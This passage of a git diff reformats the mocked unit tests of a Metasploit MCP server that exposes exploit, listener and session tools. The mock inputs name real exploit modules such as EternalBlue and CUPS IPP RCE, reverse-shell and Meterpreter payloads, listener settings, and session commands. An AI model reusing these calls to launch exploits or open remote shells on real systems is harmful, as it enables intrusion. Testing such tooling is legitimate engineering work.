mock_asyncio_to_thread): + async def test_run_exploit_failed_to_load_module_detection_exploit( + self, mock_asyncio_to_thread + ): """Test that 'Failed to load module' is detected during exploit execution.""" from metasploit_mcp.server import FAILED_TO_LOAD_MODULE_RE - + client = MockMsfRpcClient() - mock_module = MockMsfModule('exploit/multi/http/cups_ipp_remote_code_execution') - - with patch('metasploit_mcp.server.get_msf_client', return_value=client): - with patch.object(MetasploitMCP, '_msf_client_instance', client): - with patch('metasploit_mcp.server._get_module_object', return_value=mock_module): - with patch('metasploit_mcp.server.check_port_available', new=AsyncMock(return_value=(True, None))): - with patch('metasploit_mcp.server._execute_module_console') as mock_console: + mock_module = MockMsfModule("exploit/multi/http/cups_ipp_remote_code_execution") + + with patch("metasploit_mcp.server.get_msf_client", return_value=client): + with patch.object(MetasploitMCP, "_msf_client_instance", client): + with patch("metasploit_mcp.server._get_module_object", return_value=mock_module): + with patch( + "metasploit_mcp.server.check_port_available", + new=AsyncMock(return_value=(True, None)), + ): + with patch("metasploit_mcp.server._execute_module_console") as mock_console: # Simulate "Failed to load module" in exploit output mock_console.return_value = { "status": "error", "message": "Module 'exploit/multi/http/cups_ipp_remote_code_execution' failed to load.", "module_output": "[-] Failed to load module: exploit/multi/http/cups_ipp_remote_code_execution\n", - "module": "exploit/multi/http/cups_ipp_remote_code_execution" + "module": "exploit/multi/http/cups_ipp_remote_code_execution", } - + result = await run_exploit( module="multi/http/cups_ipp_remote_code_execution", options={"RHOSTS": "10.77.0.191", "RPORT": 631}, payload="cmd/unix/reverse_bash", payload_options={"LHOST": "10.77.0.1", "LPORT": 4474}, - run_as_job=False + run_as_job=False, ) - + assert result["status"] == "error" assert "failed to load" in result["message"].lower() # Verify exit terms included FAILED_TO_LOAD_MODULE_RE call_args = mock_console.call_args - exit_terms = call_args.kwargs.get('exit_terms_regexes', []) + exit_terms = call_args.kwargs.get("exit_terms_regexes", []) assert any(regex == FAILED_TO_LOAD_MODULE_RE for regex in exit_terms) @pytest.mark.asyncio async def test_run_exploit_invalid_payload_error_message_console(self, mock_asyncio_to_thread): """Test that invalid payload error includes helpful suggestion (Console mode).""" client = MockMsfRpcClient() - - with patch('metasploit_mcp.server.get_msf_client', return_value=client): - with patch.object(MetasploitMCP, '_msf_client_instance', client): - with patch('metasploit_mcp.server.check_port_available', new=AsyncMock(return_value=(True, None))): - with patch('metasploit_mcp.server._execute_module_console') as mock_console: + + with patch("metasploit_mcp.server.get_msf_client", return_value=client): + with patch.object(MetasploitMCP, "_msf_client_instance", client): + with patch( + "metasploit_mcp.server.check_port_available", + new=AsyncMock(return_value=(True, None)), + ): + with patch("metasploit_mcp.server._execute_module_console") as mock_console: # Simulate console output with invalid payload error mock_console.return_value = { "status": "error", "message": "Error during setup command 'set PAYLOAD linux/x86/shell/reverse_tcp': [-] Error setting option PAYLOAD\n\nTo view compatible payloads for this exploit, use: list_payloads(compatible_with='windows/smb/ms17_010_eternalblue')", - "module": "exploit/windows/smb/ms17_010_eternalblue" + "module": "exploit/windows/smb/ms17_010_eternalblue", } - + result = await run_exploit( module="windows/smb/ms17_010_eternalblue", options={"RHOSTS": "192.168.1.1"}, payload="linux/x86/shell/reverse_tcp", payload_options={"LHOST": "192.168.1.100", "LPORT": 4444}, - run_as_job=False # Console mode + run_as_job=False, # Console mode ) - + assert result["status"] == "error" assert "list_payloads" in result["message"] assert "compatible_with" in result["message"] @@ -728,25 +750,25 @@ def mock_session_environment(self, mock_asyncio_to_thread): session.read = Mock(return_value="session data") session.write = Mock() session.stop = Mock() - + # Override the default values with actual dict values client.sessions.list = { "1": {"type": "meterpreter", "info": "Windows session"}, - "2": {"type": "shell", "info": "Linux session"} + "2": {"type": "shell", "info": "Linux session"}, } client.sessions.session = Mock(return_value=session) - - with patch('metasploit_mcp.server.get_msf_client', return_value=client): - with patch.object(MetasploitMCP, '_msf_client_instance', client): + + with patch("metasploit_mcp.server.get_msf_client", return_value=client): + with patch.object(MetasploitMCP, "_msf_client_instance", client): yield client, session @pytest.mark.asyncio async def test_list_active_sessions(self, mock_session_environment): """Test listing active sessions.""" client, session = mock_session_environment - + result = await list_active_sessions() - + assert result["status"] == "success" assert result["count"] == 2 assert "1" in result["sessions"] @@ -756,13 +778,18 @@ async def test_list_active_sessions(self, mock_session_environment): async def test_send_session_command_meterpreter(self, mock_session_environment): """Test sending command to Meterpreter session.""" client, session = mock_session_environment - with patch('metasploit_mcp.server._drive_meterpreter_command', new=AsyncMock(return_value={ - "status": "success", - "output": "sysinfo output", - "message": "Command completed", - "reason": "prompt", - "elapsed_seconds": 0.1, - })) as mock_drive: + with patch( + "metasploit_mcp.server._drive_meterpreter_command", + new=AsyncMock( + return_value={ + "status": "success", + "output": "sysinfo output", + "message": "Command completed", + "reason": "prompt", + "elapsed_seconds": 0.1, + } + ), + ) as mock_drive: result = await send_session_command(1, "sysinfo") assert result["status"] == "success" @@ -773,9 +800,9 @@ async def test_send_session_command_nonexistent(self, mock_session_environment): """Test sending command to non-existent session.""" client, session = mock_session_environment client.sessions.list = {} # No sessions - + result = await send_session_command(999, "whoami") - + assert result["status"] == "error" assert "not found" in result["message"] @@ -783,17 +810,17 @@ async def test_send_session_command_nonexistent(self, mock_session_environment): async def test_terminate_session(self, mock_session_environment): """Test session termination.""" client, session = mock_session_environment - + # Set initial session state client.sessions.list = {"1": {"type": "meterpreter"}} - + # Mock the asyncio.to_thread calls to simulate session disappearing after termination call_count = 0 - + async def mock_to_thread_for_terminate(func, *args, **kwargs): nonlocal call_count call_count += 1 - + # Check if this is a lambda that accesses client.sessions.list try: result = func(*args, **kwargs) @@ -803,10 +830,10 @@ async def mock_to_thread_for_terminate(func, *args, **kwargs): return result except: return func(*args, **kwargs) - - with patch('asyncio.to_thread', side_effect=mock_to_thread_for_terminate): + + with patch("asyncio.to_thread", side_effect=mock_to_thread_for_terminate): result = await terminate_session(1) - + assert result["status"] == "success" session.stop.assert_called_once() @@ -818,18 +845,18 @@ class TestListenerManagement: def mock_job_environment(self, mock_asyncio_to_thread): """Fixture providing mocked job management environment.""" client = MockMsfRpcClient() - + # Override the default values with actual dict values client.jobs.list = {} client.jobs.stop = Mock(return_value="stopped") - - with patch('metasploit_mcp.server.get_msf_client', return_value=client): - with patch.object(MetasploitMCP, '_msf_client_instance', client): - with patch('metasploit_mcp.server._execute_module_rpc') as mock_rpc: + + with patch("metasploit_mcp.server.get_msf_client", return_value=client): + with patch.object(MetasploitMCP, "_msf_client_instance", client): + with patch("metasploit_mcp.server._execute_module_rpc") as mock_rpc: mock_rpc.return_value = { "status": "success", "job_id": 1234, - "message": "Listener started" + "message": "Listener started", } yield client, mock_rpc @@ -837,16 +864,18 @@ def mock_job_environment(self, mock_asyncio_to_thread): async def test_start_listener_dict_options(self, mock_job_environment): """Test starting listener with dictionary additional options.""" client, mock_rpc = mock_job_environment - + # Mock port availability check to always return available - with patch('metasploit_mcp.server.check_port_available', new=AsyncMock(return_value=(True, ""))): + with patch( + "metasploit_mcp.server.check_port_available", new=AsyncMock(return_value=(True, "")) + ): result = await start_listener( payload="windows/meterpreter/reverse_tcp", lhost="192.168.1.100", lport=4444, - additional_options={"ExitOnSession": True} + additional_options={"ExitOnSession": True}, ) - + assert result["status"] == "success" assert "job" in result["message"] @@ -854,50 +883,58 @@ async def test_start_listener_dict_options(self, mock_job_environment): async def test_start_listener_string_options(self, mock_job_environment): """Test starting listener with string additional options.""" client, mock_rpc = mock_job_environment - + # Mock port availability check to always return available - with patch('metasploit_mcp.server.check_port_available', new=AsyncMock(return_value=(True, ""))): + with patch( + "metasploit_mcp.server.check_port_available", new=AsyncMock(return_value=(True, "")) + ): result = await start_listener( payload="windows/meterpreter/reverse_tcp", - lhost="192.168.1.100", + lhost="192.168.1.100", lport=4444, - additional_options="ExitOnSession=true,Verbose=false" + additional_options="ExitOnSession=true,Verbose=false", ) - + assert result["status"] == "success" # Verify RPC was called with parsed options call_args = mock_rpc.call_args - payload_spec = call_args[1]['payload_spec'] - assert payload_spec['options']['ExitOnSession'] is True - assert payload_spec['options']['Verbose'] is False + payload_spec = call_args[1]["payload_spec"] + assert payload_spec["options"]["ExitOnSession"] is True + assert payload_spec["options"]["Verbose"] is False @pytest.mark.asyncio async def test_start_listener_invalid_port(self, mock_job_environment): """Test starting listener with invalid port.""" client, mock_rpc = mock_job_environment - + result = await start_listener( payload="windows/meterpreter/reverse_tcp", lhost="192.168.1.100", - lport=99999 # Invalid port + lport=99999, # Invalid port ) - + assert result["status"] == "error" assert "Invalid LPORT" in result["message"] - + @pytest.mark.asyncio async def test_start_listener_port_in_use(self, mock_job_environment): """Test starting listener when port is already in use.""" client, mock_rpc = mock_job_environment - + # Mock port availability check to return port in use - with patch('metasploit_mcp.server.check_port_available', new=AsyncMock(return_value=(False, "Port 4444 is already in use on 0.0.0.0. Please choose a different port or stop the service using this port."))): + with patch( + "metasploit_mcp.server.check_port_available", + new=AsyncMock( + return_value=( + False, + "Port 4444 is already in use on 0.0.0.0. Please choose a different port or stop the service using this port.", + ) + ), + ): result = await start_listener( - payload="windows/meterpreter/reverse_tcp", - lhost="192.168.1.100", - lport=4444 + payload="windows/meterpreter/reverse_tcp", lhost="192.168.1.100", lport=4444 ) - + assert result["status"] == "error" assert "Port 4444 is already in use" in result["message"] @@ -905,18 +942,18 @@ async def test_start_listener_port_in_use(self, mock_job_environment): async def test_stop_job(self, mock_job_environment): """Test stopping a job.""" client, mock_rpc = mock_job_environment - + # Set initial job state client.jobs.list = {"1234": {"name": "Handler Job"}} client.jobs.stop.return_value = "stopped" - + # Mock the asyncio.to_thread calls to simulate job disappearing after stop call_count = 0 - + async def mock_to_thread_for_stop_job(func, *args, **kwargs): nonlocal call_count call_count += 1 - + # Check if this is a lambda that accesses client.jobs.list try: result = func(*args, **kwargs) @@ -926,10 +963,10 @@ async def mock_to_thread_for_stop_job(func, *args, **kwargs): return result except: return func(*args, **kwargs) - - with patch('asyncio.to_thread', side_effect=mock_to_thread_for_stop_job): + + with patch("asyncio.to_thread", side_effect=mock_to_thread_for_stop_job): result = await stop_job(1234) - + assert result["status"] == "success" client.jobs.stop.assert_called_once_with("1234") diff --git a/tests/test_version_bump.py b/tests/test_version_bump.py index 0fc47bc..7194c3b 100644 --- a/tests/test_version_bump.py +++ b/tests/test_version_bump.py @@ -60,7 +60,7 @@ def test_bump_pyproject_version_updates_file(tmp_path: Path) -> None: @pytest.mark.unit def test_bump_pyproject_version_missing_version_line_raises(tmp_path: Path) -> None: pyproject = tmp_path / "pyproject.toml" - pyproject.write_text("[tool.poetry]\nname = \"metasploit-mcp\"\n", encoding="utf-8") + pyproject.write_text('[tool.poetry]\nname = "metasploit-mcp"\n', encoding="utf-8") with pytest.raises(ValueError, match="Could not find version line"): bump_pyproject_version(pyproject, "patch")